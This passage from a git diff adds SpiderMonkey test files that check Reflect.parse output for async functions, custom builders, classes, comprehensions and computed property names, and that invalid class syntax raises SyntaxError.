+ var node = ["TryStmt", body, catches[0] || ["Empty"]]; + if (fin) + node.push(fin); + return node; + }, + throwStatement: function(expr) { + return ["ThrowStmt", {}, expr]; + }, + debuggerStatement: () => ["DebuggerStmt", {}], + letStatement: reject, + switchCase: function(expr, stmts) { + if (expr) + stmts.unshift("SwitchCase", {}, expr); + else + stmts.unshift("DefaultCase", {}); + return stmts; + }, + catchClause: function(param, guard, body) { + if (guard) + throw new SyntaxError("catch guards not supported"); + param[0] = "IdPatt"; + return ["CatchClause", {}, param, body]; + }, + comprehensionBlock: reject, + + arrayPattern: reject, + objectPattern: reject, + propertyPattern: reject, +}; +})(); + +Pattern(["Program", {}, + ["BinaryExpr", {op: "+"}, + ["LiteralExpr", {value: 2}], + ["BinaryExpr", {op: "*"}, + ["UnaryExpr", {op: "-"}, ["IdExpr", {name: "x"}]], + ["IdExpr", {name: "y"}]]]]).match(Reflect.parse("2 + (-x * y)", {loc: false, builder: JsonMLAst})); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/async.js b/js/src/tests/js1_8_5/reflect-parse/async.js new file mode 100644 index 000000000..355f0356c --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/async.js @@ -0,0 +1,25 @@ +// |reftest| skip-if(!xulRuntime.shell) + +// async function declaration. +assertDecl("async function foo() {}", asyncFunDecl(ident("foo"), [], blockStmt([]))); + +// async function expression. +assertExpr("(async function() {})", asyncFunExpr(null, [], blockStmt([]))); +assertExpr("(async function foo() {})", asyncFunExpr(ident("foo"), [], blockStmt([]))); + +// async arrow. +assertExpr("async a => 1", asyncArrowExpr(true, [ident("a")], literal(1))); +assertExpr("async a => { 1 }", asyncArrowExpr(false, [ident("a")], blockStmt([exprStmt(literal(1))]))); +assertExpr("async a => { return 1 }", asyncArrowExpr(false, [ident("a")], blockStmt([returnStmt(literal(1))]))); + +// async method. +assertExpr("({ async foo() {} })", objExpr([{ key: ident("foo"), value: asyncFunExpr(ident("foo"), [], blockStmt([]))}])); + +assertStmt("class C { async foo() {} }", classStmt(ident("C"), null, [classMethod(ident("foo"), asyncFunExpr(ident("foo"), [], blockStmt([])), "method", false)])); +assertStmt("class C { static async foo() {} }", classStmt(ident("C"), null, [classMethod(ident("foo"), asyncFunExpr(ident("foo"), [], blockStmt([])), "method", true)])); + +// await expression. +assertDecl("async function foo() { await bar }", asyncFunDecl(ident("foo"), [], blockStmt([exprStmt(unExpr("await", ident("bar")))]))); + +if (typeof reportCompare === 'function') + reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/reflect-parse/basicBuilder.js b/js/src/tests/js1_8_5/reflect-parse/basicBuilder.js new file mode 100644 index 000000000..5956c2ec8 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/basicBuilder.js @@ -0,0 +1,58 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { +// Builder tests + +Pattern("program").match(Reflect.parse("42", {builder:{program:() => "program"}})); + +assertGlobalStmt("throw 42", 1, { throwStatement: () => 1 }); +assertGlobalStmt("for (;;);", 2, { forStatement: () => 2 }); +assertGlobalStmt("for (x in y);", 3, { forInStatement: () => 3 }); +assertGlobalStmt("{ }", 4, { blockStatement: () => 4 }); +assertGlobalStmt("foo: { }", 5, { labeledStatement: () => 5 }); +assertGlobalStmt("with (o) { }", 6, { withStatement: () => 6 }); +assertGlobalStmt("while (x) { }", 7, { whileStatement: () => 7 }); +assertGlobalStmt("do { } while(false);", 8, { doWhileStatement: () => 8 }); +assertGlobalStmt("switch (x) { }", 9, { switchStatement: () => 9 }); +assertGlobalStmt("try { } catch(e) { }", 10, { tryStatement: () => 10 }); +assertGlobalStmt(";", 11, { emptyStatement: () => 11 }); +assertGlobalStmt("debugger;", 12, { debuggerStatement: () => 12 }); +assertGlobalStmt("42;", 13, { expressionStatement: () => 13 }); +assertGlobalStmt("for (;;) break", forStmt(null, null, null, 14), { breakStatement: () => 14 }); +assertGlobalStmt("for (;;) continue", forStmt(null, null, null, 15), { continueStatement: () => 15 }); + +assertBlockDecl("var x", "var", { variableDeclaration: kind => kind }); +assertBlockDecl("let x", "let", { variableDeclaration: kind => kind }); +assertBlockDecl("const x = undefined", "const", { variableDeclaration: kind => kind }); +assertBlockDecl("function f() { }", "function", { functionDeclaration: () => "function" }); + +assertGlobalExpr("(x,y,z)", 1, { sequenceExpression: () => 1 }); +assertGlobalExpr("(x ? y : z)", 2, { conditionalExpression: () => 2 }); +assertGlobalExpr("x + y", 3, { binaryExpression: () => 3 }); +assertGlobalExpr("delete x", 4, { unaryExpression: () => 4 }); +assertGlobalExpr("x = y", 5, { assignmentExpression: () => 5 }); +assertGlobalExpr("x || y", 6, { logicalExpression: () => 6 }); +assertGlobalExpr("x++", 7, { updateExpression: () => 7 }); +assertGlobalExpr("new x", 8, { newExpression: () => 8 }); +assertGlobalExpr("x()", 9, { callExpression: () => 9 }); +assertGlobalExpr("x.y", 10, { memberExpression: () => 10 }); +assertGlobalExpr("(function() { })", 11, { functionExpression: () => 11 }); +assertGlobalExpr("[1,2,3]", 12, { arrayExpression: () => 12 }); +assertGlobalExpr("({ x: y })", 13, { objectExpression: () => 13 }); +assertGlobalExpr("this", 14, { thisExpression: () => 14 }); +assertGlobalExpr("(function() { yield 42 })", genFunExpr("legacy", null, [], blockStmt([exprStmt(19)])), { yieldExpression: () => 19 }); + +assertGlobalStmt("switch (x) { case y: }", switchStmt(ident("x"), [1]), { switchCase: () => 1 }); +assertGlobalStmt("try { } catch (e) { }", 2, { tryStatement: (b, g, u, f) => u, catchClause: () => 2 }); +assertGlobalStmt("try { } catch (e if e instanceof A) { } catch (e if e instanceof B) { }", [2, 2], { tryStatement: (b, g, u, f) => g, catchClause: () => 2 }); +assertGlobalStmt("try { } catch (e) { }", tryStmt(blockStmt([]), [], 2, null), { catchClause: () => 2 }); +assertGlobalStmt("try { } catch (e if e instanceof A) { } catch (e if e instanceof B) { }", + tryStmt(blockStmt([]), [2, 2], null, null), + { catchClause: () => 2 }); + +assertGlobalExpr("({ x: y } = z)", aExpr("=", 1, ident("z")), { objectPattern: () => 1 }); +assertGlobalExpr("({ x: y } = z)", aExpr("=", objPatt([2]), ident("z")), { propertyPattern: () => 2 }); +assertGlobalExpr("[ x ] = y", aExpr("=", 3, ident("y")), { arrayPattern: () => 3 }); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/builderExceptions.js b/js/src/tests/js1_8_5/reflect-parse/builderExceptions.js new file mode 100644 index 000000000..e8430dbfa --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/builderExceptions.js @@ -0,0 +1,13 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Ensure that exceptions thrown by builder methods propagate. +var thrown = false; +try { + Reflect.parse("42", { builder: { program: function() { throw "expected" } } }); +} catch (e if e === "expected") { + thrown = true; +} +if (!thrown) + throw new Error("builder exception not propagated"); + +if (typeof reportCompare === 'function') + reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/reflect-parse/classes.js b/js/src/tests/js1_8_5/reflect-parse/classes.js new file mode 100644 index 000000000..90d7df730 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/classes.js @@ -0,0 +1,529 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Classes +function testClasses() { + function methodFun(id, kind, generator, args, body = []) { + assertEq(generator && kind === "method", generator); + assertEq(typeof id === 'string' || id === null, true); + let methodName; + switch (kind) { + case "method": + methodName = typeof id === 'string' ? ident(id) : null; + break; + case "get": + case "set": + methodName = ident(`${kind} ${typeof id === 'string' ? id : ""}`); + break; + default: + methodName = null; + break; + } + return generator + ? genFunExpr("es6", methodName, args.map(ident), blockStmt(body)) + : funExpr(methodName, args.map(ident), blockStmt(body)); + } + + function simpleMethod(id, kind, generator, args=[], isStatic=false) { + return classMethod(ident(id), + methodFun(id, kind, generator, args), + kind, isStatic); + } + function ctorWithName(id, body = []) { + return classMethod(ident("constructor"), + methodFun(id, "method", false, [], body), + "method", false); + } + function emptyCPNMethod(id, isStatic) { + return classMethod(computedName(lit(id)), + funExpr(null, [], blockStmt([])), + "method", isStatic); + } + + function assertClassExpr(str, methods, heritage=null, name=null) { + let template = classExpr(name, heritage, methods); + assertExpr("(" + str + ")", template); + } + + // FunctionExpression of constructor has class name as its id. + // FIXME: Implement ES6 function "name" property semantics (bug 883377). + let ctorPlaceholder = {}; + function assertClass(str, methods, heritage=null, constructorBody=[]) { + let namelessStr = str.replace("NAME", ""); + let namedStr = str.replace("NAME", "Foo"); + let namedCtor = ctorWithName("Foo", constructorBody); + let namelessCtor = ctorWithName(null, constructorBody); + let namelessMethods = methods.map(x => x == ctorPlaceholder ? namelessCtor : x); + let namedMethods = methods.map(x => x == ctorPlaceholder ? namedCtor : x); + assertClassExpr(namelessStr, namelessMethods, heritage); + assertClassExpr(namedStr, namedMethods, heritage, ident("Foo")); + + let template = classStmt(ident("Foo"), heritage, namedMethods); + assertStmt(namedStr, template); + } + function assertNamedClassError(str, error) { + assertError(str, error); + assertError("(" + str + ")", error); + } + function assertClassError(str, error) { + assertNamedClassError(str, error); + assertError("(" + str.replace("NAME", "") + ")", error); + } + + /* Trivial classes */ + // Unnamed class statements are forbidden, but unnamed class expressions are + // just fine. + assertError("class { constructor() { } }", SyntaxError); + assertClass("class NAME { constructor() { } }", [ctorPlaceholder]); + + // A class name must actually be a name + assertNamedClassError("class x.y { constructor() {} }", SyntaxError); + assertNamedClassError("class [] { constructor() {} }", SyntaxError); + assertNamedClassError("class {x} { constructor() {} }", SyntaxError); + assertNamedClassError("class for { constructor() {} }", SyntaxError); + + // Allow methods and accessors + assertClass("class NAME { constructor() { } method() { } }", + [ctorPlaceholder, simpleMethod("method", "method", false)]); + + assertClass("class NAME { constructor() { } get method() { } }", + [ctorPlaceholder, simpleMethod("method", "get", false)]); + + assertClass("class NAME { constructor() { } set method(x) { } }", + [ctorPlaceholder, simpleMethod("method", "set", false, ["x"])]); + + /* Static */ + assertClass(`class NAME { + constructor() { }; + static method() { }; + static *methodGen() { }; + static get getter() { }; + static set setter(x) { } + }`, + [ctorPlaceholder, + simpleMethod("method", "method", false, [], true), + simpleMethod("methodGen", "method", true, [], true), + simpleMethod("getter", "get", false, [], true), + simpleMethod("setter", "set", false, ["x"], true)]); + + // It's not an error to have a method named static, static, or not. + assertClass("class NAME { constructor() { } static() { } }", + [ctorPlaceholder, simpleMethod("static", "method", false)]); + assertClass("class NAME { static static() { }; constructor() { } }", + [simpleMethod("static", "method", false, [], true), ctorPlaceholder]); + assertClass("class NAME { static get static() { }; constructor() { } }", + [simpleMethod("static", "get", false, [], true), ctorPlaceholder]); + assertClass("class NAME { constructor() { }; static set static(x) { } }", + [ctorPlaceholder, simpleMethod("static", "set", false, ["x"], true)]); + + // You do, however, have to put static in the right spot + assertClassError("class NAME { constructor() { }; get static foo() { } }", SyntaxError); + + // Spec disallows "prototype" as a static member in a class, since that + // one's important to make the desugaring work + assertClassError("class NAME { constructor() { } static prototype() { } }", SyntaxError); + assertClassError("class NAME { constructor() { } static *prototype() { } }", SyntaxError); + assertClassError("class NAME { static get prototype() { }; constructor() { } }", SyntaxError); + assertClassError("class NAME { static set prototype(x) { }; constructor() { } }", SyntaxError); + + // You are, however, allowed to have a CPN called prototype as a static + assertClass("class NAME { constructor() { }; static [\"prototype\"]() { } }", + [ctorPlaceholder, emptyCPNMethod("prototype", true)]); + + /* Constructor */ + // Allow default constructors + assertClass("class NAME { }", []); + assertClass("class NAME extends null { }", [], lit(null)); + + // Derived class constructor must have curly brackets + assertClassError("class NAME extends null { constructor() 1 }", SyntaxError); + + // It is an error to have two methods named constructor, but not other + // names, regardless if one is an accessor or a generator or static. + assertClassError("class NAME { constructor() { } constructor(a) { } }", SyntaxError); + let methods = [["method() { }", simpleMethod("method", "method", false)], + ["*method() { }", simpleMethod("method", "method", true)], + ["get method() { }", simpleMethod("method", "get", false)], + ["set method(x) { }", simpleMethod("method", "set", false, ["x"])], + ["static method() { }", simpleMethod("method", "method", false, [], true)], + ["static *method() { }", simpleMethod("method", "method", true, [], true)], + ["static get method() { }", simpleMethod("method", "get", false, [], true)], + ["static set method(x) { }", simpleMethod("method", "set", false, ["x"], true)]]; + let i,j; + for (i=0; i < methods.length; i++) { + for (j=0; j < methods.length; j++) { + let str = "class NAME { constructor() { } " + + methods[i][0] + " " + methods[j][0] + + " }"; + assertClass(str, [ctorPlaceholder, methods[i][1], methods[j][1]]); + } + } + + // It is, however, not an error to have a constructor, and a method with a + // computed property name 'constructor' + assertClass("class NAME { constructor () { } [\"constructor\"] () { } }", + [ctorPlaceholder, emptyCPNMethod("constructor", false)]); + + // It is an error to have a generator or accessor named constructor + assertClassError("class NAME { *constructor() { } }", SyntaxError); + assertClassError("class NAME { get constructor() { } }", SyntaxError); + assertClassError("class NAME { set constructor() { } }", SyntaxError); + + /* Semicolons */ + // Allow Semicolons in Class Definitions + assertClass("class NAME { constructor() { }; }", [ctorPlaceholder]); + + // Allow more than one semicolon, even in otherwise trivial classses + assertClass("class NAME { ;;; constructor() { } }", [ctorPlaceholder]); + + // Semicolons are optional, even if the methods share a line + assertClass("class NAME { method() { } constructor() { } }", + [simpleMethod("method", "method", false), ctorPlaceholder]); + + /* Generators */ + // No yield as a class name inside a generator + assertError(`function *foo() { + class yield { + constructor() { } + } + }`, SyntaxError); + assertError(`function *foo() { + (class yield { + constructor() { } + }) + }`, SyntaxError); + + // No legacy generators for methods. + assertClassError(`class NAME { + constructor() { yield 2; } + }`, SyntaxError); + assertClassError(`class NAME { + method() { yield 2; } + }`, SyntaxError); + assertClassError(`class NAME { + get method() { yield 2; } + }`, SyntaxError); + assertClassError(`class NAME { + set method() { yield 2; } + }`, SyntaxError); + + // Methods may be generators, but not accessors + assertClassError("class NAME { constructor() { } *get foo() { } }", SyntaxError); + assertClassError("class NAME { constructor() { } *set foo() { } }", SyntaxError); + + assertClass("class NAME { *method() { } constructor() { } }", + [simpleMethod("method", "method", true), ctorPlaceholder]); + + /* Strictness */ + // yield is a strict-mode keyword, and class definitions are always strict. + assertClassError("class NAME { constructor() { var yield; } }", SyntaxError); + + // Beware of the strictness of computed property names. Here use bareword + // deletion (a deprecated action) to check. + assertClassError("class NAME { constructor() { } [delete bar]() { }}", SyntaxError); + + /* Bindings */ + // Class statements bind lexically, so they should collide with other + // in-block lexical bindings, but class expressions don't. + let FooCtor = ctorWithName("Foo"); + assertError("{ let Foo; class Foo { constructor() { } } }", SyntaxError); + assertStmt("{ let Foo; (class Foo { constructor() { } }) }", + blockStmt([letDecl([{id: ident("Foo"), init: null}]), + exprStmt(classExpr(ident("Foo"), null, [FooCtor]))])); + assertError("{ const Foo = 0; class Foo { constructor() { } } }", SyntaxError); + assertStmt("{ const Foo = 0; (class Foo { constructor() { } }) }", + blockStmt([constDecl([{id: ident("Foo"), init: lit(0)}]), + exprStmt(classExpr(ident("Foo"), null, [FooCtor]))])); + assertError("{ class Foo { constructor() { } } class Foo { constructor() { } } }", SyntaxError); + assertStmt(`{ + (class Foo { + constructor() { } + }, + class Foo { + constructor() { } + }); + }`, + blockStmt([exprStmt(seqExpr([classExpr(ident("Foo"), null, [FooCtor]), + classExpr(ident("Foo"), null, [FooCtor])]))])); + assertStmt(`{ + var x = class Foo { constructor() { } }; + class Foo { constructor() { } } + }`, + blockStmt([varDecl([{ id: ident("x"), + init: classExpr(ident("Foo"), null, [FooCtor]) + }]), + classStmt(ident("Foo"), null, [FooCtor])])); + + + // Can't make a lexical binding without a block. + assertError("if (1) class Foo { constructor() { } }", SyntaxError); + + /* Heritage Expressions */ + // It's illegal to have things that look like "multiple inheritance": + // non-parenthesized comma expressions. + assertClassError("class NAME extends null, undefined { constructor() { } }", SyntaxError); + + // Again check for strict-mode in heritage expressions + assertClassError("class NAME extends (delete x) { constructor() { } }", SyntaxError); + + // You must specify an inheritance if you say "extends" + assertClassError("class NAME extends { constructor() { } }", SyntaxError); + + // "extends" is still a valid name for a method + assertClass("class NAME { constructor() { }; extends() { } }", + [ctorPlaceholder, simpleMethod("extends", "method", false)]); + + // Immediate expression + assertClass("class NAME extends null { constructor() { } }", + [ctorPlaceholder], lit(null)); + + // Sequence expresson + assertClass("class NAME extends (undefined, undefined) { constructor() { } }", + [ctorPlaceholder], seqExpr([ident("undefined"), ident("undefined")])); + + // Function expression + let emptyFunction = funExpr(null, [], blockStmt([])); + assertClass("class NAME extends function(){ } { constructor() { } }", + [ctorPlaceholder], emptyFunction); + + // New expression + assertClass("class NAME extends new function(){ }() { constructor() { } }", + [ctorPlaceholder], newExpr(emptyFunction, [])); + + // Call expression + assertClass("class NAME extends function(){ }() { constructor() { } }", + [ctorPlaceholder], callExpr(emptyFunction, [])); + + // Dot expression + assertClass("class NAME extends {}.foo { constructor() { } }", + [ctorPlaceholder], dotExpr(objExpr([]), ident("foo"))); + + // Member expression + assertClass("class NAME extends {}[foo] { constructor() { } }", + [ctorPlaceholder], memExpr(objExpr([]), ident("foo"))); + + /* SuperProperty */ + // NOTE: Some of these tests involve object literals, as SuperProperty is a + // valid production in any method definition, including in objectl + // litterals. These tests still fall here, as |super| is not implemented in + // any form without classes. + + function assertValidSuperProps(assertion, makeStr, makeExpr, type, generator, args, static, + extending) + { + let superProperty = superProp(ident("prop")); + let superMember = superElem(lit("prop")); + + let situations = [ + ["super.prop", superProperty], + ["super['prop']", superMember], + ["super.prop()", callExpr(superProperty, [])], + ["super['prop']()", callExpr(superMember, [])], + ["new super.prop()", newExpr(superProperty, [])], + ["new super['prop']()", newExpr(superMember, [])], + ["delete super.prop", unExpr("delete", superProperty)], + ["delete super['prop']", unExpr("delete", superMember)], + ["++super.prop", updExpr("++", superProperty, true)], + ["super['prop']--", updExpr("--", superMember, false)], + ["super.prop = 4", aExpr("=", superProperty, lit(4))], + ["super['prop'] = 4", aExpr("=", superMember, lit(4))], + ["super.prop += 4", aExpr("+=", superProperty, lit(4))], + ["super['prop'] += 4", aExpr("+=", superMember, lit(4))], + ["super.prop -= 4", aExpr("-=", superProperty, lit(4))], + ["super['prop'] -= 4", aExpr("-=", superMember, lit(4))], + ["super.prop *= 4", aExpr("*=", superProperty, lit(4))], + ["super['prop'] *= 4", aExpr("*=", superMember, lit(4))], + ["super.prop /= 4", aExpr("/=", superProperty, lit(4))], + ["super['prop'] /= 4", aExpr("/=", superMember, lit(4))], + ["super.prop %= 4", aExpr("%=", superProperty, lit(4))], + ["super['prop'] %= 4", aExpr("%=", superMember, lit(4))], + ["super.prop <<= 4", aExpr("<<=", superProperty, lit(4))], + ["super['prop'] <<= 4", aExpr("<<=", superMember, lit(4))], + ["super.prop >>= 4", aExpr(">>=", superProperty, lit(4))], + ["super['prop'] >>= 4", aExpr(">>=", superMember, lit(4))], + ["super.prop >>>= 4", aExpr(">>>=", superProperty, lit(4))], + ["super['prop'] >>>= 4", aExpr(">>>=", superMember, lit(4))], + ["super.prop |= 4", aExpr("|=", superProperty, lit(4))], + ["super['prop'] |= 4", aExpr("|=", superMember, lit(4))], + ["super.prop ^= 4", aExpr("^=", superProperty, lit(4))], + ["super['prop'] ^= 4", aExpr("^=", superMember, lit(4))], + ["super.prop &= 4", aExpr("&=", superProperty, lit(4))], + ["super['prop'] &= 4", aExpr("&=", superMember, lit(4))], + + // We can also use super from inside arrow functions in method + // definitions + ["()=>super.prop", arrowExpr([], superProperty)], + ["()=>super['prop']", arrowExpr([], superMember)]]; + + for (let situation of situations) { + let sitStr = situation[0]; + let sitExpr = situation[1]; + + let fun = methodFun("method", type, generator, args, [exprStmt(sitExpr)]); + let str = makeStr(sitStr, type, generator, args, static, extending); + assertion(str, makeExpr(fun, type, static), extending); + } + } + + function assertValidSuperPropTypes(assertion, makeStr, makeExpr, static, extending) { + for (let type of ["method", "get", "set"]) { + if (type === "method") { + // methods can also be generators + assertValidSuperProps(assertion, makeStr, makeExpr, type, true, [], static, extending); + assertValidSuperProps(assertion, makeStr, makeExpr, type, false, [], static, extending); + continue; + } + + // Setters require 1 argument, and getters require 0 + assertValidSuperProps(assertion, makeStr, makeExpr, type, false, + type === "set" ? ["x"] : [], static, extending); + } + } + + function makeSuperPropMethodStr(propStr, type, generator, args) { + return `${type === "method" ? "" : type} ${generator ? "*" : ""} method(${args.join(",")}) + { + ${propStr}; + }`; + } + + function makeClassSuperPropStr(propStr, type, generator, args, static, extending) { + return `class NAME ${extending ? "extends null" : ""} { + constructor() { }; + ${static ? "static" : ""} ${makeSuperPropMethodStr(propStr, type, generator, args)} + }`; + } + function makeClassSuperPropExpr(fun, type, static) { + // We are going right into assertClass, so we don't have to build the + // entire statement. + return [ctorPlaceholder, + classMethod(ident("method"), fun, type, static)]; + } + function doClassSuperPropAssert(str, expr, extending) { + assertClass(str, expr, extending ? lit(null) : null); + } + function assertValidClassSuperPropExtends(extending) { + // super.prop and super[prop] are valid, regardless of whether the + // method is static or not + assertValidSuperPropTypes(doClassSuperPropAssert, makeClassSuperPropStr, makeClassSuperPropExpr, + false, extending); + assertValidSuperPropTypes(doClassSuperPropAssert, makeClassSuperPropStr, makeClassSuperPropExpr, + true, extending); + } + function assertValidClassSuperProps() { + // super.prop and super[prop] are valid, regardless of class heritage + assertValidClassSuperPropExtends(false); + assertValidClassSuperPropExtends(true); + } + + function makeOLSuperPropStr(propStr, type, generator, args) { + let str = `({ ${makeSuperPropMethodStr(propStr, type, generator, args)} })`; + return str; + } + function makeOLSuperPropExpr(fun) { + return objExpr([{ type: "Property", key: ident("method"), value: fun}]); + } + function assertValidOLSuperProps() { + assertValidSuperPropTypes(assertExpr, makeOLSuperPropStr, makeOLSuperPropExpr); + } + + + // Check all valid uses of SuperProperty + assertValidClassSuperProps(); + assertValidOLSuperProps(); + + // SuperProperty is forbidden outside of method definitions. + assertError("function foo () { super.prop; }", SyntaxError); + assertError("(function () { super.prop; }", SyntaxError); + assertError("(()=>super.prop)", SyntaxError); + assertError("function *foo() { super.prop; }", SyntaxError); + assertError("super.prop", SyntaxError); + assertError("function foo () { super['prop']; }", SyntaxError); + assertError("(function () { super['prop']; }", SyntaxError); + assertError("(()=>super['prop'])", SyntaxError); + assertError("function *foo() { super['prop']; }", SyntaxError); + assertError("super['prop']", SyntaxError); + + // Or inside functions inside method definitions... + assertClassError("class NAME { constructor() { function nested() { super.prop; }}}", SyntaxError); + + // Bare super is forbidden + assertError("super", SyntaxError); + + // Even where super is otherwise allowed + assertError("{ foo() { super } }", SyntaxError); + assertClassError("class NAME { constructor() { super; } }", SyntaxError); + + /* SuperCall */ + + // SuperCall is invalid outside derived class constructors. + assertError("super()", SyntaxError); + assertError("(function() { super(); })", SyntaxError); + + // SuperCall is invalid in generator comprehensions, even inside derived + // class constructors + assertError("(super() for (x in y))", SyntaxError); + assertClassError("class NAME { constructor() { (super() for (x in y))", SyntaxError); + + + // Even in class constructors + assertClassError("class NAME { constructor() { super(); } }", SyntaxError); + + function superConstructor(args) { + return classMethod(ident("constructor"), + methodFun("NAME", "method", false, + [], [exprStmt(superCallExpr(args))]), + "method", false); + } + + function superCallBody(args) { + return [exprStmt(superCallExpr(args))]; + } + + // SuperCall works with various argument configurations. + assertClass("class NAME extends null { constructor() { super() } }", + [ctorPlaceholder], lit(null), superCallBody([])); + assertClass("class NAME extends null { constructor() { super(1) } }", + [ctorPlaceholder], lit(null), superCallBody([lit(1)])); + assertClass("class NAME extends null { constructor() { super(1, a) } }", + [ctorPlaceholder], lit(null), superCallBody([lit(1), ident("a")])); + assertClass("class NAME extends null { constructor() { super(...[]) } }", + [ctorPlaceholder], lit(null), superCallBody([spread(arrExpr([]))])); + + /* EOF */ + // Clipped classes should throw a syntax error + assertClassError("class NAME {", SyntaxError); + assertClassError("class NAME {;", SyntaxError); + assertClassError("class NAME { constructor", SyntaxError); + assertClassError("class NAME { constructor(", SyntaxError); + assertClassError("class NAME { constructor()", SyntaxError); + assertClassError("class NAME { constructor()", SyntaxError); + assertClassError("class NAME { constructor() {", SyntaxError); + assertClassError("class NAME { constructor() { }", SyntaxError); + assertClassError("class NAME { static", SyntaxError); + assertClassError("class NAME { static y", SyntaxError); + assertClassError("class NAME { static *", SyntaxError); + assertClassError("class NAME { static *y", SyntaxError); + assertClassError("class NAME { static get", SyntaxError); + assertClassError("class NAME { static get y", SyntaxError); + assertClassError("class NAME { static }", SyntaxError); + assertClassError("class NAME { static ;", SyntaxError); + assertClassError("class NAME extends", SyntaxError); + assertClassError("class NAME { constructor() { super", SyntaxError); + assertClassError("class NAME { constructor() { super.", SyntaxError); + assertClassError("class NAME { constructor() { super.x", SyntaxError); + assertClassError("class NAME { constructor() { super.m(", SyntaxError); + assertClassError("class NAME { constructor() { super[", SyntaxError); + assertClassError("class NAME { constructor() { super(", SyntaxError); + + // Can not omit curly brackets + assertClassError("class NAME { constructor() ({}) }", SyntaxError); + assertClassError("class NAME { constructor() void 0 }", SyntaxError); + assertClassError("class NAME { constructor() 1 }", SyntaxError); + assertClassError("class NAME { constructor() false }", SyntaxError); + assertClassError("class NAME { constructor() {} a() ({}) }", SyntaxError); + assertClassError("class NAME { constructor() {} a() void 0 }", SyntaxError); + assertClassError("class NAME { constructor() {} a() 1 }", SyntaxError); + assertClassError("class NAME { constructor() {} a() false }", SyntaxError); + +} + +runtest(testClasses); diff --git a/js/src/tests/js1_8_5/reflect-parse/comprehensions.js b/js/src/tests/js1_8_5/reflect-parse/comprehensions.js new file mode 100644 index 000000000..9ea73f497 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/comprehensions.js @@ -0,0 +1,65 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// Transform the legacy comprehensions to less legacy comprehensions and test +// them. +function assertFormerlyES6ArrayComp(expr, body, blocks, filter) { + let match = expr.match(/^\[(.*?) for (.*)\]$/); + assertEq(match !== null, true); + let expr2 = "[for " + match[2] + " " + match[1] + "]"; + assertExpr(expr2, compExpr(body, blocks, filter, "modern")); +} + +assertFormerlyES6ArrayComp("[ x for (x of foo)]", + ident("x"), [compOfBlock(ident("x"), ident("foo"))], null); +assertFormerlyES6ArrayComp("[ [x,y] for (x of foo) for (y of bar)]", + arrExpr([ident("x"), ident("y")]), [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar"))], null); +assertFormerlyES6ArrayComp("[ [x,y,z] for (x of foo) for (y of bar) for (z of baz)]", + arrExpr([ident("x"), ident("y"), ident("z")]), + [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar")), compOfBlock(ident("z"), ident("baz"))], + null); + +assertFormerlyES6ArrayComp("[ x for (x of foo) if (p)]", + ident("x"), [compOfBlock(ident("x"), ident("foo"))], ident("p")); +assertFormerlyES6ArrayComp("[ [x,y] for (x of foo) for (y of bar) if (p)]", + arrExpr([ident("x"), ident("y")]), [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar"))], ident("p")); +assertFormerlyES6ArrayComp("[ [x,y,z] for (x of foo) for (y of bar) for (z of baz) if (p) ]", + arrExpr([ident("x"), ident("y"), ident("z")]), + [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar")), compOfBlock(ident("z"), ident("baz"))], + ident("p")); + +// FormerlyES6 comprehensions with multiple ComprehensionIf. + +assertExpr("[for (x of foo) x]", + compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo"))], null, "modern")); +assertExpr("[for (x of foo) if (c1) x]", + compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")), + compIf(ident("c1"))], null, "modern")); +assertExpr("[for (x of foo) if (c1) if (c2) x]", + compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")), + compIf(ident("c1")), compIf(ident("c2"))], null, "modern")); + +assertExpr("[for (x of foo) if (c1) for (y of bar) x]", + compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")), + compIf(ident("c1")), + compOfBlock(ident("y"), ident("bar"))], null, "modern")); +assertExpr("[for (x of foo) if (c1) for (y of bar) if (c2) x]", + compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")), + compIf(ident("c1")), + compOfBlock(ident("y"), ident("bar")), + compIf(ident("c2"))], null, "modern")); +assertExpr("[for (x of foo) if (c1) if (c2) for (y of bar) if (c3) if (c4) x]", + compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")), + compIf(ident("c1")), compIf(ident("c2")), + compOfBlock(ident("y"), ident("bar")), + compIf(ident("c3")), compIf(ident("c4"))], null, "modern")); + +assertExpr("[for (x of y) if (false) for (z of w) if (0) x]", + compExpr(ident("x"), [compOfBlock(ident("x"), ident("y")), + compIf(lit(false)), + compOfBlock(ident("z"), ident("w")), + compIf(lit(0))], null, "modern")); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/computedPropNames.js b/js/src/tests/js1_8_5/reflect-parse/computedPropNames.js new file mode 100644 index 000000000..d96e73152 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/computedPropNames.js @@ -0,0 +1,45 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// Bug 924688: computed property names +assertExpr('a= {[field1]: "a", [field2=1]: "b"}', + aExpr("=", ident("a"), + objExpr([{ key: computedName(ident("field1")), value: lit("a")}, + { key: computedName(aExpr("=", ident("field2"), lit(1))), + value: lit("b")}]))); + +assertExpr('a= {["field1"]: "a", field2 : "b"}', + aExpr("=", ident("a"), + objExpr([{ key: computedName(lit("field1")), value: lit("a") }, + { key: ident("field2"), value: lit("b") }]))); + +assertExpr('a= {[1]: 1, 2 : 2}', + aExpr("=", ident("a"), + objExpr([{ key: computedName(lit(1)), value: lit(1) }, + { key: lit(2), value: lit(2) }]))); + +// Bug 924688: computed property names - location information +var node = Reflect.parse("a = {[field1]: 